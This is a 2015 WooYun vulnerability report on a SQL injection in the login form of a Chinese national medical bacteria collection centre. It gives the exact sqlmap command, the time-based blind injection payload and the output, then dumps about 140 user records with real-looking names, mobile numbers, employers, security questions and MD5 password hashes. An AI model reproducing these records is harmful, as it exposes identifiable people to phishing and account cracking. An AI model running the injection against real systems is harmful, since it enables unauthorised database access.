当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133984

漏洞标题:国家细菌管理中心post注入 100W+数据泄露(泄露包括姓名/所在研究所/电话/邮箱等)

相关厂商:国家细菌管理中心

漏洞作者: 路人甲

提交时间:2015-08-16 10:11

修复时间:2015-10-02 10:56

公开时间:2015-10-02 10:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-16: 细节已通知厂商并且等待厂商处理中
2015-08-18: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-28: 细节向核心白帽子及相关领域专家公开
2015-09-07: 细节向普通白帽子公开
2015-09-17: 细节向实习白帽子公开
2015-10-02: 细节向公众公开

简要描述:

国家细菌管理中心post注入 100W+数据泄露(泄露包括姓名/所在研究所/邮箱等)

详细说明:

中国医学细菌保藏管理中心建立于1979 年,目前挂靠在中国食品药品检定研究院,为国家级医学细菌保藏管理中心,亦是国家微生物资源平台的参建单位之一。上世纪80年代中期加入世界菌种保藏联合委员会(WFCC)。中心在中检院设有钩端螺旋体、霍乱弧菌、脑膜炎奈瑟氏菌、沙门氏菌、大肠埃希氏菌、布氏杆菌、结核分枝杆菌、绿脓杆菌等专业实验室。
中心现拥有79 属、475 种、10202 株、230000 多份国家标准医学菌(毒) 种,涵盖几乎所有疫苗等生物药物的生产菌种和质量控制菌种。中心承担医学菌种的研究、收集、鉴定,保藏、分发与管理任务;承担生产和检定用菌种质量标准的技术复核;承担相应品种标准物质研究和标定工作;开展相应技术方法研究及技术人员培训等工作

QQ20150812-3@2x.png


登陆处存在注入

QQ20150812-1@2x.png


QQ20150812-2@2x.png


python sqlmap.py -u "**.**.**.**/cmccbnew/login/login.php" --data="UNAME=admin&LOGID=&ACTION=%B5%C7%C2%BC&PASSWD=admin&num_auth=9133" --level 3 --technique T --risk 3 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-03f32ae}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:10:59
[21:10:59] [WARNING] provided value for parameter 'LOGID' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[21:10:59] [INFO] resuming back-end DBMS 'mysql'
[21:10:59] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: UNAME (POST)
Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
Payload: UNAME=admin' AND 4102=BENCHMARK(5000000,MD5(0x7771734b)) AND 'miPt'='miPt&LOGID=&ACTION=%B5%C7%C2%BC&PASSWD=admin&num_auth=9133
---
[21:10:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4.9
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL 4
[21:10:59] [INFO] fetching current user
[21:10:59] [INFO] resumed: cmccb@localhost
current user: 'cmccb@localhost'
[21:10:59] [INFO] fetched data logged to text files under '/Users/luhaoliang/.sqlmap/output/**.**.**.**'


QQ20150813-1@2x.png


各种数据

| 333 | 0       | <blank> | 宋晓                    | songjincai1982@**.**.**.**          | 13699274474 | 6e257ccb71ae455f13b09dd09821441c | <blank>                       | 你最喜欢的人是? | swjnc            |
| 334 | 0 | <blank> | 朱家馨 | zhujiaxin2020@**.**.**.** | 13642631698 | fe07a1152f1bf99b343a96169c963047 | <blank> | 你最喜欢的人是? | zhujiaxin |
| 335 | 2 | <blank> | 王颖 | fbdtech@**.**.**.** | 13352067107 | 005fdf9087be928cc12bc38b60bce2d8 | <blank> | 你最喜欢的人是? | fbdtech |
| 336 | 0 | <blank> | 倪深 | asen1225@**.**.**.** | 13738013620 | 978506615932aa802980490392fa237a | <blank> | 你最喜欢的人是? | asen1225 |
| 337 | 85 | 214092 | 赵俊伟 | bhfudan@**.**.**.** | 15161561391 | 0c909531946d4f251da74866a6499ea5 | 无锡博慧斯生物医药科技有限公司 | 你最喜欢的人是? | Biohermes |
| 338 | 0 | <blank> | 武瑞仙 | wuruixian123@**.**.**.** | 13673655978 | fcf1268d85279a60c966891265c770b8 | <blank> | 你最喜欢的人是? | wuruixian |
| 339 | 0 | <blank> | 陈益国 | qjkr2@**.**.**.** | 13202016135 | 54b1df7f5324a40f19bcf50fa796159f | <blank> | 你最喜欢的人是? | qjkr |
| 340 | 191 | 518055 | 张艳 | yanzh81@**.**.**.** | 13714943309 | cbdb121bb57fecc21301da6a6c629fc2 | 深圳职业技术学院 | 你最喜欢的人是? | yanzh81 |
| 341 | 149 | <blank> | 朱立贤 | zhlx@**.**.**.** | 13793808692 | 9a68afef5d5582b26833c7d5540dd3d7 | <blank> | 你最喜欢的人是? | lixianzhu |
| 342 | 0 | <blank> | 各琴 | sungeqing@**.**.**.** | 13631192107 | 55490f33c45e8ea702ebf0e7b2981813 | <blank> | 你最喜欢的人是? | sgq |
| 343 | 0 | <blank> | 尹瑜 | jessica.yin@**.**.**.** | 13761711561 | abe00dacf5ca2750c630c9e16a640e12 | <blank> | 你最喜欢的人是? | belimed |
| 344 | 0 | <blank> | 冯彩 | finding_1987@**.**.**.** | 13688868864 | 3818f4322256fd495e54b67625fd6194 | <blank> | 你最喜欢的人是? | fcling |
| 345 | 0 | <blank> | 陆裕 | mullusca@**.**.**.** | 13918668671 | 462007ef296bd0d3c7a6da16b2866d46 | <blank> | 你最喜欢的人是? | mullusca |
| 346 | 290 | <blank> | 赵英杰 | lzzhaoyingjie@**.**.**.** | 13519622252 | 90c1e3ed80a5418de2bb2f2e4da29461 | 兰州市 | 你最喜欢的人是? | zhaoyingjie |
| 347 | 0 | <blank> | 鲁安松 | sdwylas@**.**.**.** | 13018327278 | 0a85197bdc4c37095470ff415f7f3eb7 | <blank> | 你最喜欢的人是? | sdwylas |
| 348 | 0 | <blank> | 于浩 | forestwolf1984@**.**.**.** | 13583565395 | 6e3559b82917102793db276f31ded0c7 | <blank> | 其他 | forestwolf |
| 349 | 73 | 201203 | 李继扬 | lijiyang@**.**.**.** | 13817512046 | 32182e4065d65261e43a719d3ecb5fde | 复旦大学药学院 | 你最想去的地方? | lijiyang |
| 350 | 1 | 100081 | 于萍 | 78791212@**.**.**.** | 13488770584 | 6e12a79121a528b6e069e9e0c04c9824 | 中国农业科学院北京畜牧兽医研究所 | 你最喜欢的人是? | 78791212 |
| 351 | 0 | <blank> | 张永超 | zyc365forever@**.**.**.** | 13888411622 | 895dc00d747ccadb2c3f1c7fc7239051 | <blank> | 你最喜欢的人是? | zhangyongchao |
| 352 | 0 | <blank> | 李丽梅 | limei368@**.**.**.** | 13821477802 | 6119efd4ea799428df35fd929b69f397 | <blank> | 你最喜欢的人是? | meizi368 |
| 353 | 0 | <blank> | 贾云飞 | yunfei.jia@**.**.**.** | 13488693585 | ff7bb8b61c79ed8f3e35403698dcfccd | <blank> | 你最喜欢的人是? | tamclove |
| 354 | 0 | <blank> | 史小超 | njjoyce0708@**.**.**.** | 13512505731 | e0dd1350b4d59c834739cafac7b17065 | 南京市CDC | 你最想去的地方? | ctt |
| 355 | 73 | 201203 | 李继扬 | ljy4886@**.**.**.** | 13817512046 | bc720484f8cc5ba293fe9b662f8d9e05 | 复旦大学 | 你最喜欢的人是? | lishiyu |
| 356 | 349 | <blank> | 李梅 | lilizk@**.**.**.** | 13384318688 | 04de8d51c601e61e86c853b153cb2a0a | 吉林省鑫迪微生物技术开发有限公司 | 你最喜欢的人是? | lilizk |
| 357 | 0 | <blank> | 胡萍 | pengyou1466@**.**.**.** | 13008769371 | da690f45ca7cb799a2acc2832ac7f28e | <blank> | 你最想去的地方? | pengyou1466 |
| 358 | 0 | <blank> | 刘明涛 | 842764917@**.**.**.** | 13791023320 | acc898e997146d9739f60f514b611015 | <blank> | 你最想去的地方? | liumingtao123 |
| 359 | 0 | <blank> | 杨 | nicoleyang642@**.**.**.** | 13696961295 | 38157c6b97efc1091ff334f06a6ce7c2 | <blank> | 你最喜欢的人是? | nicoleyang |
| 360 | 0 | <blank> | 康琦 | hisashi999@**.**.**.** | 13880900795 | 1216048bcf8e59a2e0b10f96de699b4a | <blank> | 其他 | hisashi999 |
| 361 | 191 | <blank> | 王冰 | iceking1977@**.**.**.** | 13823778364 | dcb171dffd66e9aaf63cf43e5880774d | 深圳市疾病预防控制中心 | 你最喜欢的人是? | iceking1977 |
| 362 | 0 | <blank> | 刘晓颖 | tcslxy@**.**.**.** | 13514454100 | 6ccf1134d667e5a21b518404f2ca8214 | <blank> | 你最想去的地方? | liuxy1970 |
| 363 | 0 | <blank> | 李芳芳 | lifangfang8408@**.**.**.** | 15106944316 | edf726830abd85468814b42454438e79 | <blank> | 你最想去的地方? | lff8408 |
| 364 | 168 | <blank> | 李安娜 | 260461411@**.**.**.** | 13072772070 | b88d59c31acf5368a67524ff170f4604 | <blank> | 你最想做的事? | anaguaiguai |
| 365 | 252 | <blank> | 石阡县 | lj2003081709@**.**.**.** | 13885637126 | eab33e030c219791490150d89f36cbb1 | <blank> | 你最想去的地方? | renaiai |
| 366 | 0 | <blank> | 123123 | 123123123@**.**.**.** | 12312312312 | fb0c0d29891025ebc856afcb05a80a36 | <blank> | 你最喜欢的人是? | 0166 |
| 367 | 0 | <blank> | 蔡长虹 | caichanghong@**.**.**.** | 13681471486 | afdfc28d9e900d14c98ee9bfc30331f9 | <blank> | 你最喜欢的人是? | cch123456 |
| 368 | 1 | 100101 | 李晶 | lijing@**.**.**.** | 13911262327 | cae5ac9e62abcc4c3f365866c6833d02 | 中国科学院微生物研究所 | 你最想做的事? | lijing@**.**.**.** |
| 369 | 73 | 201103 | 谢雯雯 | vivian.xie@**.**.**.** | 13761060362 | 50e3f0c476afde61d03be83396d1f4a3 | 上海锦葵医疗器械有限公司 | 你最喜欢的人是? | wenwen881111 |
| 370 | 0 | <blank> | 牟晓洲 | mouxiaozhou@**.**.**.** | 13588427126 | e773348f0da5c0940089030a68dd76d5 | <blank> | 你最喜欢的人是? | mouxz |
| 371 | 191 | <blank> | 于浩洋 | guixuanyu@**.**.**.** | 13510275913 | 7fe087fa7929c2a3b680c8dccff31d41 | <blank> | 你最喜欢的人是? | guixuanyu |
| 372 | 0 | <blank> | 刘明伟 | biowee@**.**.**.** | 15923399902 | d8793b58bb18db15d184d442f77bc385 | <blank> | 你最喜欢的人是? | lmingwei |
| 373 | 331 | 832000 | 刘凯 | linchenliukai@**.**.**.** | 15001610208 | 40a2529b86297e7c764b8ae5b944d0f7 | 石河子大学食品学院 | 你最想去的地方? | linchenliukai |
| 374 | 0 | <blank> | 侯天文 | houtw1967@**.**.**.** | 13653312132 | aa82b42642f89ab5a7d7aa19dbb767a3 | <blank> | 你最喜欢的人是? | HOUTW1967 |
| 375 | 1 | 101300 | 郑燕鹏 | zyp_mail666@**.**.**.** | 13641182065 | af664734e697311a97174fe23713f1d5 | 北京顺达四海生物药业有限公司 | 你最喜欢的人是? | shundasihai |
| 376 | 0 | <blank> | 李惠玲 | lhl0483@**.**.**.** | 13948041866 | 12e6a74a332e528312c8d0fd1b2602fe | 阿盟药检所 | 你最喜欢的人是? | lhl0483 |
| 377 | 139 | <blank> | 孙妍 | sunyan5811@**.**.**.** | 13706452178 | 49ed3db4aa75dc6fad7074870f70b880 | <blank> | 你最喜欢的人是? | SUNYAN5811 |
| 378 | 0 | <blank> | 李霞 | lixia_yuqian@**.**.**.** | 13993731728 | 80f583aeafdf1982e02a9960e8286f7f | <blank> | 其他 | lixia |
| 379 | 0 | <blank> | 田仁鹏 | [email protected] | 13058192499 | c329e7d76cfef190065d1dbc53c37a47 | <blank> | 你最想去的地方? | rptian |
| 380 | 304 | 410015 | 周经理 | 523297556@**.**.**.** | 13111111111 | 6b4a068ee840e764323699f222cc6dd6 | 长沙隆和化玻实验用品有限公司 | 你最喜欢的人是? | zsq123 |
| 381 | 0 | <blank> | 林学斌 | 924986582@**.**.**.** | 13958860369 | a9b969f0eb9545a1d54e9affde6d0f89 | <blank> | 你最喜欢的人是? | toakill |
| 382 | 257 | <blank> | 雷娜 | kmleina3328@**.**.**.** | 13211683845 | 777ac03c9e18e2e8c992b62e1ae42052 | 云南中医学院 | 你最喜欢的人是? | kmleina |
| 383 | 11 | <blank> | 张鹏程 | 478879506@**.**.**.** | 13483698377 | 7892f070856ee0f3adaeaf241cbcb09d | <blank> | 你最喜欢的人是? | peng4224859 |
| 384 | 91 | <blank> | 徐超盈 | 86860693@**.**.**.** | 13248565653 | 545b90243a67052adefe2a197617e3bc | <blank> | 其他 | no.no.no |
| 385 | 0 | <blank> | 张其宏 | 276916189@**.**.**.** | 13295206032 | d6410558ca0b9672dd51f07682840846 | <blank> | 你最喜欢的人是? | bluefire232 |
| 386 | 0 | <blank> | 李晓光 | bright009@**.**.**.** | 13288607090 | f87e31bea6040672db07e32141f930ce | <blank> | 其他 | [email protected] |
| 387 | 0 | <blank> | 五桥 | wuqiao@**.**.**.** | 13984376757 | ba6b799e17053115b513d68950c95bf7 | <blank> | 你最想去的地方? | wq001268 |
| 388 | 0 | <blank> | 王锋 | wangfeng3201980@**.**.**.** | 13933441892 | 13bd276bc0085965d56cb849d88f495c | <blank> | 你最想去的地方? | wangfeng |
| 389 | 0 | <blank> | 杨庆 | yangqing1213@**.**.**.** | 13717710480 | c8c1b4540acd08ba7efb9acce90ab8c0 | <blank> | 你最喜欢的人是? | yqsnyd12135 |
| 390 | 0 | <blank> | 李荔枝 | lilizhi9901@**.**.**.** | 15285169426 | 5197fc32a3ab529efea6b3dc248cac02 | <blank> | 你最想去的地方? | LICHEE |
| 391 | 0 | <blank> | 阿芳 | 455941176@**.**.**.** | 13431038635 | 14d24431440484e3d7e8260fba69eef6 | <blank> | 你最喜欢的人是? | 455941176 |
| 392 | 0 | <blank> | 孙启明 | sunqiming1203@**.**.**.** | 13436583790 | a31b0c0bd4eed954828e47f43ce43e79 | <blank> | 你最想去的地方? | mmbb |
| 393 | 0 | <blank> | 刘成 | waldol_liu@**.**.**.** | 13331663737 | b8331dfef032ddc4a3420ef36421fb7f | <blank> | 你最想去的地方? | waldo_liu |
| 394 | 0 | <blank> | 吴洁 | luohuawutong_777@**.**.**.** | 13969877096 | d5566629cacf2ef650b37395f608eac5 | <blank> | 你最喜欢的人是? | JIE |
| 395 | 0 | <blank> | 陈健梅 | jianmei.chen@**.**.**.** | 13818401323 | 2e3162a107ada607cac65244706a879b | <blank> | 其他 | bend71 |
| 396 | 0 | <blank> | 王东黎 | wdl64@**.**.**.** | 13520558768 | 51cba456f77237dc97cc422eab5f1e1b | <blank> | 你最喜欢的人是? | wangdongli |
| 397 | 1 | <blank> | 康琳 | kanglin1116@**.**.**.** | 13011888501 | 5fb9c7e1501b4eabdd58c9a073ccfa6e | <blank> | 你最想做的事? | kanglin |
| 398 | 0 | <blank> | 黎明 | penghaoren2001@**.**.**.** | 13675581550 | aa6372046f507a765a5c6feca4105e08 | <blank> | 其他 | penghaoren2001 |
| 399 | 215 | <blank> | 哈哈 | chensihai2006@**.**.**.** | 13976537950 | 04e2962bce1cc94cd5eb5718d43aa744 | 东联 | 你最想去的地方? | csh |
| 400 | 0 | <blank> | 谢冰松 | xbs530515@**.**.**.** | 13699429418 | 182fce15b05574a348e6c5b1630b87cf | <blank> | 你最喜欢的人是? | xbs530515 |
| 401 | 0 | <blank> | 王丽 | 305770422@**.**.**.**.cn | 13948888696 | 63ac9a4727f42ea7a64ecb7d23db1d74 | <blank> | 你最喜欢的人是? | wangli |
| 402 | 168 | 430079 | 陈林 | chenlinwhu@**.**.**.** | 13971174626 | 867ea14ce1291ccdf464d130abb31d2e | 武汉大学 | 你最喜欢的人是? | chenlinwhu |
| 403 | 73 | <blank> | 姚雪凌 | yaoxueling2756@**.**.**.** | <blank> | ef233adfc915bd0f20154d2ee777155f | 上海汉尼生物技术有限公司 | 你最想去的地方? | oushi |
| 404 | 0 | <blank> | 魏文静 | wenjingwei924@**.**.**.** | 15010547119 | a3096f3d1f15a38553d1c6ecad9ce49c | <blank> | 其他 | 魏文静 |
| 405 | 0 | <blank> | 刘锐 | liuruidodder@**.**.**.** | 13820415036 | ae1540a985299101763828f5ea47c120 | <blank> | 你最喜欢的人是? | dodder |
| 406 | 2 | 300201 | 梁艳彬 | liangyanbin1989@**.**.**.** | 13920897833 | 1b763a103b45211756a667fb935735a3 | 天津一方科技有限公司 | 你最想做的事? | yfkj001 |
| 407 | 180 | 510330 | 朱庆义 | zhuqingyi2000@**.**.**.** | 13533809924 | 88e7b35f35f67637929db19a5e445535 | 广州金域医学检验中心 | 你最喜欢的人是? | zhuqingyi |
| 408 | 85 | <blank> | 陈蕊蕊 | chenrr331@**.**.**.** | 13584114711 | 4a901ff31f14cb87801268685f544318 | <blank> | 你最想去的地方? | cherry |
| 409 | 138 | 261204 | 陆彩霞 | 522653490@**.**.**.** | 13006560192 | f825c3db8599825443a4188d566e36c2 | 潍坊中狮制药有限公司 | 你最想去的地方? | 522653490 |
| 410 | 152 | <blank> | 王艳 | baihe002@**.**.**.** | 15896536549 | 79eb62a3771eb98e35f26f6ce72ec4b9 | 河南惠尔纳米科技有限公司 | 你最想去的地方? | huier |
| 411 | 0 | <blank> | 海珍 周 | zhouhaizhen@**.**.**.** | <blank> | a70d6d0e00db4772bb95e6a8126f6f9c | <blank> | 你最喜欢的人是? | <blank> |
| 412 | 1 | 100193 | 王慧敏 | whmmha@**.**.**.** | 18701656023 | 7c4a4a4a1608d923b12421e4ed106ec1 | 中国农业大学 | 你最喜欢的人是? | whmmha |
| 413 | 73 | 201600 | 任燕华 | ryhrenyanhua@**.**.**.** | 13611973139 | a753f2332e1d538ff3a8cf5d01b9109e | 上海市松江食品样品检验所 | 你最想去的地方? | ryhrenyanhua |
| 414 | 227 | 611731 | 刁维均 | darrow18514@**.**.**.** | 13708209303 | d0c51b358bafbf21c2d2103029f48b98 | 四川迈克生物科技股份有限公司 | 你最想去的地方? | darrow |
| 415 | 0 | <blank> | 谭强来 | talktojonas.tan@**.**.**.** | 13870837065 | d1a6925860863281047f8a3e6adb1031 | <blank> | 你最想做的事? | jonas |
| 416 | 1 | <blank> | 孙强正 | zhlbsun@**.**.**.** | 13683387021 | 3c9401b6f14b54bd81976b0e3f503266 | 中国CDC | 你最想去的地方? | sunqiangzheng |
| 417 | 180 | 510663 | 黄新 | 13922297621@**.**.**.** | 13922297621 | aa3a4b7e1235fc9d9b329ed3609096c8 | 广州迪澳生物科技有限公司 | 你最想去的地方? | gzda |
| 418 | 0 | <blank> | 李 | libin0571@**.**.**.** | 13515711458 | 209f792b884d5f9c5740ec04360c5614 | <blank> | 你最想做的事? | maomi |
| 419 | 257 | <blank> | 李锐刚 | kyo98@**.**.**.** | 13700663795 | 062bb43dc5092ff882278572c0db1b67 | 久啦食品有限公司 | 你最喜欢的人是? | harmonia |
| 420 | 355 | <blank> | 陈辉芳 | chenyier@**.**.**.** | 13377658068 | f40e92f85c52278ae60ae5c82002efb9 | <blank> | 你最喜欢的人是? | chf |
| 421 | 74 | <blank> | 孔肖菡 | 2011108008@**.**.**.** | 13851796676 | 4a6880f7ddee063dffaabc635ec89390 | 南京农业大学食品科技学院 | 你最喜欢的人是? | kxh2909 |
| 422 | 0 | <blank> | 卢舒娴 | shangxyx@**.**.**.** | 13705086039 | 71e755b7c22736dd70f4369b09ca3970 | <blank> | 你最想做的事? | shxyx |
| 423 | 0 | <blank> | 马丹 | mad@**.**.**.** | 13508635511 | b86a400314cc18e051fe3c7681d4078f | <blank> | 你最喜欢的人是? | dofree1002 |
| 424 | 0 | <blank> | 符姐 | fhj654@**.**.**.** | 13519962278 | 090104deb817c56643d3486e568b7131 | <blank> | 你最喜欢的人是? | fhj654 |
| 425 | 91 | 315311 | 邱霄虹 | qiuxiaohong88@**.**.**.** | 15158368229 | af30aa5dc783610ab70bbe94e5bb27b5 | 宁波倍的福药业有限公司 | 你最喜欢的人是? | beidefu |
| 426 | 168 | 430072 | 闫栩凡 | xufan4455@**.**.**.** | 13297981745 | 219f83919e765781497246943cc049ba | 武汉大学 | 你最想去的地方? | Oliver |
| 427 | 0 | <blank> | 张维 | zhangwj1101@**.**.**.** | 13641264464 | b7bbb9bc1d4e251f4add0c70630e827f | <blank> | 你最喜欢的人是? | opossum |
| 428 | 2 | <blank> | 屈野 | quye2004@**.**.**.** | 13520860677 | 99ec7179f0df67cd7a6759766dd54b4c | <blank> | 你最喜欢的人是? | quye2004 |
| 429 | 203 | 545400 | 王宇 | 740600685@**.**.**.** | 13404617501 | b1382bc8b539097ef5cb1aeedeb6fcd5 | 吉林师范大学 | 你最喜欢的人是? | 1234WY |
| 430 | 0 | <blank> | 蔡 | ruqinzhe287394711@**.**.**.** | 18750916891 | aae0b414d5bc2300c10b1fbbc69a1615 | 学生 | 你最想去的地方? | iruqinzhe |
| 431 | 355 | <blank> | 游力辉 | youlihui007@**.**.**.** | 13570052468 | 7dcee2fcb7d9f0f05c74f16d0d247270 | <blank> | 你最喜欢的人是? | youlihui |
| 432 | 0 | <blank> | 李钧 | microbiology_cn@**.**.**.** | 13819188014 | 1d968c7d63f072e59ca94cd2b593251f | <blank> | 你最想做的事? | hzcdcli |
| 433 | 0 | <blank> | 贺鹏飞 | feipenghe@**.**.**.** | 13810462302 | e7ddf8d14b881fcc4f5ad72b16cce8fc | <blank> | 你最想做的事? | primer322 |
| 434 | 1 | <blank> | 汤强 | tqan10000@**.**.**.** | 15210551987 | 498810a401733b5609798e2cb17012fe | 中科院微生物所 | 你最喜欢的人是? | tqan10000 |
| 435 | 0 | <blank> | 穆贵林 | mgl19851229@**.**.**.** | 13693026559 | 08e6e99d8098479c4ffae0d17cda49a5 | <blank> | 你最喜欢的人是? | mgl19851229 |
| 436 | 1 | <blank> | 吕允方 | wykcC888@**.**.**.** | 13161909786 | de3b8cfcf625dc40464a9b33dd6e386d | 北京伟业科创 | 其他 | LYF |
| 437 | 1 | 100069 | 唐静成 | jingcht@**.**.**.** | 13810204693 | 08d7cc306fd842ec0b54a3c2e3a99609 | 首都医科大学 | 你最喜欢的人是? | dogdogtang |
| 438 | 46 | 116622 | 周蕾 | 13842677885@**.**.**.** | 13842677885 | 9ee19f9f3a12d87d33b9cfdb699ae037 | 大连华钰生物科技有限公司 | 你最喜欢的人是? | hyena0119 |
| 439 | 0 | <blank> | 阿书 | ccs411@**.**.**.** | 13412584694 | e93b7c340c7e292068df036987b01c75 | <blank> | 其他 | ccs411 |
| 440 | 0 | <blank> | 武永昆 | wuyongk@**.**.**.** | 13888959482 | 27f2af5ae5a5179eddd7217d2c6cb26d | <blank> | 你最喜欢的人是? | WYK |
| 441 | 122 | 330029 | 方元宗 | [email protected] | 13870098189 | 9e54c9186bfac520ca50a07008673d3b | 南昌绿恒科技有限公司 | 你最喜欢的人是? | fangyuanzong |
| 442 | 24 | 200433 | 薛志杰 | xms5178@**.**.**.** | 13761180765 | b1eee9c15cc4f92020baee99c85b1401 | 上海天呈科技有限公司 | 你最喜欢的人是? | youha4566 |
| 443 | 1 | <blank> | 师宁 | haitun1593028@**.**.**.** | 15311319420 | 2980ccc8946b90be8348fb655b8e959c | 中国农业大学 | 你最喜欢的人是? | 唐卡 |
| 444 | 0 | <blank> | 郭子晟 | mars222222@**.**.**.** | 13572556088 | d263c30f6e8f06c99cc291a472319353 | <blank> | 你最喜欢的人是? | 14109 |
| 445 | 51 | 130033 | 房丽君 | fanglijun00@**.**.**.** | 13843028507 | af56d47555a6a2c9b2e5351ea9266cc7 | 吉林亚泰生物药业股份有限公司 | 你最想去的地方? | fangzida |
| 446 | 76 | 222002 | 邱大刚 | 13961303855@**.**.**.** | 13961303855 | ff6924d2556ffd191e3681e122ab15a1 | 连云港亚宝科技发展有限公司 | 你最喜欢的人是? | glscl |
| 447 | 1 | 100013 | 白云鹏 | yaxier2010@**.**.**.** | 13691260850 | aeca718d938f6bbb0f342810b2eeb0f6 | 北京中兴嘉仁生物技术有限公司 | 你最喜欢的人是? | feng189100 |
| 448 | 0 | <blank> | yejingrui | 453883285@**.**.**.** | 13302223785 | cf584a9734387d38032becc42e592204 | <blank> | 你最想做的事? | frui |
| 449 | 1 | <blank> | 李艳 | liyanmd@**.**.**.** | 13522011377 | bf4cba51c1cd2fe632121ccd066d3b89 | <blank> | 你最喜欢的人是? | liyan |
| 450 | 51 | 130122 | 钱晶 | qjysb0110@**.**.**.** | 13578941107 | a6e4d2ebeb5804aad602335662388d21 | 军事兽医研究所 | 你最想做的事? | qianjing0815 |
| 451 | 139 | 264000 | 刘杰 | liulocus@**.**.**.** | 15653892770 | f815606f5282cab8676fc5627920c834 | 烟台毓璜顶医院 | 你最喜欢的人是? | liulocus |
| 452 | 0 | <blank> | 戴玮 | coolan2_dw@**.**.**.** | 13996226165 | 6b4eb577c0dc150e0a563930a8cfd654 | <blank> | 你最喜欢的人是? | dw_dw |
| 453 | 0 | <blank> | 陈琛 | 1989cissy@**.**.**.** | 13638672062 | 1e5b0dc28c9e7271170be142174ce827 | <blank> | 你最喜欢的人是? | chenchen20091989 |
| 454 | 0 | <blank> | 李佳 | 909476692@**.**.**.** | 13867118010 | dcc48e3f9e10d729927230e184ebb382 | <blank> | 你最喜欢的人是? | mlfmlf |
| 455 | 0 | <blank> | 林立 | linli97@**.**.**.** | 13867715461 | 89be248a439a2ad7ab3f8c04aab6551f | <blank> | 你最喜欢的人是? | linli97 |
| 456 | 0 | <blank> | 李静 | lijing313@**.**.**.** | 13954283852 | 227da0a95ea0ac9302bb911164d8546e | <blank> | 你最想做的事? | marineheart |
| 457 | 0 | <blank> | 李学兴 | lxx5093@**.**.**.** | 13987793013 | e88bf5a5f0e66ec10dfed90bffc9702e | <blank> | 你最喜欢的人是? | lxx5093 |
| 458 | 91 | <blank> | 周平 | zhou_119@**.**.**.** | 13968208474 | db7fd2907b7f638e99d41830bbe1ca46 | 宁波健世生物科技有限公司 | 你最喜欢的人是? | jenscare |
| 459 | 73 | 200092 | 李玲 | lingli12@**.**.**.** | 13761933217 | dc0a0ca096473a2a8242b9d60339c935 | 上海交通大学医学院附属新华医院 | 你最想去的地方? | xinhuall |
| 460 | 1 | 100043 | 姬志娟 | zhijuan_ji@**.**.**.** | 13641196605 | 44b44bb81aa935f7c4d75d5d1c8cf409 | 北京博奥森生物技术有限公司 | 其他 | zhijuan_ji |
| 461 | 1 | <blank> | 辉夜 | 943038944@**.**.**.** | 13929393636 | 5dcee73e331b5172b661b8c84f56f33d | <blank> | 你最喜欢的人是? | Workhelp2007 |
| 462 | 0 | <blank> | 殷小涛 | yxtfwy@**.**.**.** | 15120033757 | 0f44af09630d2ce609ed6ac7caa5a6e3 | <blank> | 你最喜欢的人是? | yxtfwy |
| 463 | 0 | <blank> | 吴经耀 | wjy2008119@**.**.**.** | 13588057740 | f32cbb51f05da80a61b165d1a6dbd22d | <blank> | 其他 | wjy2008119 |
| 464 | 0 | <blank> | 蒋宇 | raul146@**.**.**.** | 13786161559 | 64db18c2e8e446a014dd7fb72756200d | <blank> | 你最喜欢的人是? | raul146 |
| 465 | 180 | <blank> | 翁齐征 | wengqizheng@**.**.**.** | 13763383510 | b689a9a63a1b651acde79c1d45d28afd | 北京陆桥技术有限责任公司 | 你最想做的事? | wengqizheng |
| 466 | 0 | <blank> | 于录 | yulu225@**.**.**.** | 13147716383 | ede1367e4ee2a421a0adeb053e4faba9 | <blank> | 你最喜欢的人是? | ok123 |
| 467 | 0 | <blank> | 李婷 | lvcaoyinyin1986@**.**.**.** | 13545118252 | eeb0ab05dccd81e76cb9aac7bf154963 | 武汉大学 | 你最喜欢的人是? | lvcaoyinyin1986 |
| 468 | 0 | <blank> | 李飞 | czw522560507@**.**.**.** | 13005469874 | ed57114fe70170df4ad2df0ceda67f39 | <blank> | 你最想去的地方? | czw522560507 |
| 469 | 191 | 528000 | 李小青 | 2080180101@**.**.**.** | 13430674524 | 69829af847d3cf496be6bd4fb345be2c | 深圳市意达凯生物科技有限公司 | 你最喜欢的人是? | nasher |
| 470 | 0 | <blank> | 李康 | likang_82@**.**.**.** | 13683241283 | 64a74c8884493430558f022599fc8376 | <blank> | 你最喜欢的人是? | likang |
| 471 | 0 | <blank> | 李欣 | xinxin211@**.**.**.** | 13504309714 | 9d74bc23a552e2e2e323e51e2d269e06 | <blank> | 你最喜欢的人是? | xinxin211 |
| 472 | 0 | <blank> | 詹妍艳 | zhanyanyan2@**.**.**.** | 13146718185 | 6aa844a5aa3a58292dbc0cd0e0d9f2cc | <blank> | 你最喜欢的人是? | zhanyanyan2 |
| 473 | 92 | 312560 | 王益云 | wangyiyun@**.**.**.** | 13588566288 | 3519ea2630b48d8ecf0157b83b7d71bb | 新昌县恒丰胶囊有限公司 | 你最喜欢的人是? | wangyiyun |
| 474 | 0 | <blank> | 名只允许 | a@**.**.**.** | 13651245461 | c2b9042a391c858611e35e27d28e8373 | <blank> | 你最喜欢的人是? | qihongmei |
| 475 | 0 | <blank> | 张文超 | etyyzwc@**.**.**.** | 13833450824 | 9bf937361bffd5b953faca9ca3311c2b | <blank> | 你最喜欢的人是? | etyyzwc |
| 476 | 0 | <blank> | 迟铁铮 | chitiezheng2008@**.**.**.** | 15948740760 | 343a5591add95465081d68d7d01b0c02 | <blank> | 你最喜欢的人是? | chitiezheng |
